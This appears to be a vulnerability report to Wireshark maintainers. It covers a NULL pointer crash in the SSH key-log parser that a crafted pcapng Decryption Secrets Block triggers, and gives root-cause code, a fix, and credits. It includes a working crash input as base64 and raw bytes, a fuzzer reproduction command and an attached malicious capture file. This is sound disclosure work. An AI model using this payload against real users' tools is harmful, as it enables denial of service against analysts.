## Summary When Wireshark ingests SSH decryption secrets from a pcapng Decryption Secrets Block (DSB), a malformed SSH key-log line can crash the SSH dissector with a NULL pointer dereference in `ssh_keylog_process_line()`: ```text ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 ==1==The signal is caused by a READ memory access. ==1==Hint: address points to the zero page. #0 ssh_keylog_process_line epan/dissectors/packet-ssh.c:2832:35 #1 ssh_keylog_process_lines epan/dissectors/packet-ssh.c:2753:9 #2 ssh_secrets_block_callback epan/dissectors/packet-ssh.c:6011:5 #3 LLVMFuzzerTestOneInput fuzz/fuzzshark.c:201:2 ``` The faulting address `0x8` is the `length` field at offset 8 of a NULL `ssh_bignum *`. The vulnerable parser is reached from Wireshark's pcapng Decryption Secrets Block processing path: ```text pcapng Decryption Secrets Block -> wtapng_process_dsb() -> secrets_wtap_callback(SECRETS_TYPE_SSH, secrets_data, secrets_len) -> ssh_secrets_block_callback() -> ssh_keylog_process_lines() -> ssh_keylog_process_line() ``` The fuzzer harness only calls the same public dispatcher `secrets_wtap_callback(type, blob, len)` with the DSB secret type and bytes. ## Steps to reproduce Open a pcapng file containing an SSH Decryption Secrets Block whose secret data contains a malformed key-log line with an empty or over-long hex token. I generated a minimal pcapng sample from the verified payload: ```text TEMP-wireshark-ssh-keylog-null-deref-with-packet.pcapng sha256: f55fb5e60b745eb3fe9f61ef30c2108706edcd5849005e167ca84bb4e2ab3d47 ``` It contains a Section Header Block, an Interface Description Block, a Decryption Secrets Block, and one empty Enhanced Packet Block so that command line tools read through the file: ```text block type: 0x0000000A (pcapng Decryption Secrets Block) secrets type: 0x5353484b (SECRETS_TYPE_SSH / "SSH Key Log") secrets length: 39 secrets bytes: b'abcd \x000123L567ab\x00\x00\x00d01567\x00# Ss\x00# \x00# os\n' ``` On my mac: ```bash wireshark -r Downloads/wireshark-ssh-keylog-null-deref.pcapng ** (wireshark:87674) 17:38:59.782938 [GUI WARNING] -- Populating font family aliases took 39 ms. Replace uses of missing font family "SF Mono" with one that exists to avoid this cost. zsh: segmentation fault ``` Exact, verified reproduction used for this report — an OSS-Fuzz AddressSanitizer build driving the public `secrets_wtap_callback()` dispatcher with the same SSH DSB secret bytes: ```bash python3 - <<'PY' import base64 open("poc","wb").write(base64.b64decode( "OWFiY2QgADAxMjNMNTY3YWIAAABkMDE1NjcAIyBTcwAjIAAjIG9zCg==")) PY docker run --rm -v <out>:/out -v <dir>:/repro gcr.io/oss-fuzz/wireshark \ /out/Wireshark_pcapng_Decryption_Secrets_Block_dispatcher__secrets_wtap_callback__fuzzshark_dis \ /repro/poc ``` The first byte in the fuzzer PoC selects `SECRETS_TYPE_SSH`; the remaining 39 bytes are the SSH key-log secret payload shown above. ## Impact / security boundary This is a crafted **capture-file metadata** issue, not a malicious SSH network packet issue. The attacker-controlled bytes are read from a pcapng **Decryption Secrets Block** (`BLOCK_TYPE_DSB = 0x0000000A`) and passed to the registered secrets callback as `secrets_data`. Normal packet records (`EPB`/`SPB`) are parsed through separate pcapng packet-block handlers and are not reinterpreted as Decryption Secrets Block payloads. In other words, an SSH peer cannot trigger this by sending SSH traffic on the network; the attacker needs to supply a crafted capture file (or another workflow that imports pcapng DSB metadata). Affected surfaces are tools that open/process untrusted pcapng files and register the decryption-secrets callback, including Wireshark GUI, `tshark`, `sharkd`, and related front-ends on affected builds. The practical impact is a reliable denial of service while opening or processing the crafted capture file. There is no evidence of memory corruption beyond a NULL pointer dereference. ## What is the current bug behavior? Wireshark dereferences a NULL `ssh_bignum *` while processing the malformed SSH key-log line and terminates with SIGSEGV. On an AddressSanitizer build: ```text ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 #0 ssh_keylog_process_line /src/wireshark/epan/dissectors/packet-ssh.c:2832:35 #1 ssh_keylog_process_lines /src/wireshark/epan/dissectors/packet-ssh.c:2753:9 #2 ssh_secrets_block_callback /src/wireshark/epan/dissectors/packet-ssh.c:6011:5 SUMMARY: AddressSanitizer: SEGV /src/wireshark/epan/dissectors/packet-ssh.c:2832:35 in ssh_keylog_process_line ``` Root cause: ```c key_len = strlen(key); cookie_len = strlen(cookie); if (key_len & 1) { /* reject odd length */ return; } if (cookie_len & 1) { /* reject odd length */ return; } ssh_bignum *bn_cookie = ssh_kex_make_bignum(NULL, (unsigned)(cookie_len / 2)); ssh_bignum *bn_priv = ssh_kex_make_bignum(NULL, (unsigned)(key_len / 2)); ... ssh_bignum *bn_priv_ht = g_new(ssh_bignum, 1); bn_priv_ht->length = bn_priv->length; /* packet-ssh.c:2832 */ ... ssh_bignum *bn_cookie_ht = g_new(ssh_bignum, 1); bn_cookie_ht->length = bn_cookie->length; /* packet-ssh.c:2835 */ ``` `ssh_kex_make_bignum()` explicitly returns NULL for zero or excessive lengths: ```c if (length == 0 || length > 1025) { return NULL; } ``` The parser rejects odd-length hex strings but accepts empty tokens (length 0). An empty key/cookie, or a hex token longer than the supported bignum size, makes `ssh_kex_make_bignum()` return NULL. `ssh_keylog_process_line()` then dereferences that NULL return value at line 2832 (key) or line 2835 (cookie). ## What is the expected correct behavior? Wireshark should reject the malformed SSH key-log line in the Decryption Secrets Block as invalid and continue opening/processing the capture without crashing. `ssh_keylog_process_line()` should not dereference the result of `ssh_kex_make_bignum()` unless it is non-NULL. ## Sample capture file Attached: [wireshark-ssh-keylog-null-deref.pcapng](/uploads/f79d8ffb28d9f36d5067837f4f3ccb44/wireshark-ssh-keylog-null-deref.pcapng) ```text wireshark-ssh-keylog-null-deref-with-packet.pcapng sha256: f55fb5e60b745eb3fe9f61ef30c2108706edcd5849005e167ca84bb4e2ab3d47 ``` Note: I verified the callback-level reproduction under ASan. The pcapng file is a minimal wrapper around the same DSB secret payload (`SECRETS_TYPE_SSH`) for maintainer convenience. A packaged Debian `tshark` 4.0.17 build opened this sample without crashing; that build appears not to exercise the current-master SSH DSB consumer path that the OSS-Fuzz target verifies. Please treat the OSS-Fuzz command above as the confirmed reproduction, and the pcapng as the corresponding capture-file wrapper to try on an ASan/current-master build. ## Build information Reproduced on Wireshark git master at commit cb7de9fc2100b1ca3de32f47d48ec231033fc964 (x86_64, clang + AddressSanitizer, OSS-Fuzz `gcr.io/oss-fuzz/wireshark` image). ## Suggested fix direction Reject zero-length cookie/key tokens before calling `ssh_kex_make_bignum()`, and check both return values before dereferencing: ```c if (bn_cookie == NULL || bn_priv == NULL) { g_strfreev(split); return; } ``` This should cover both empty hex tokens and over-long tokens that exceed `ssh_kex_make_bignum()`'s supported size. ## Credit Aisle Research (Dmitrijs Trizna, Luigino Camastra, Ze Sheng (O2Lab & TAMU), Igor Morgenstern).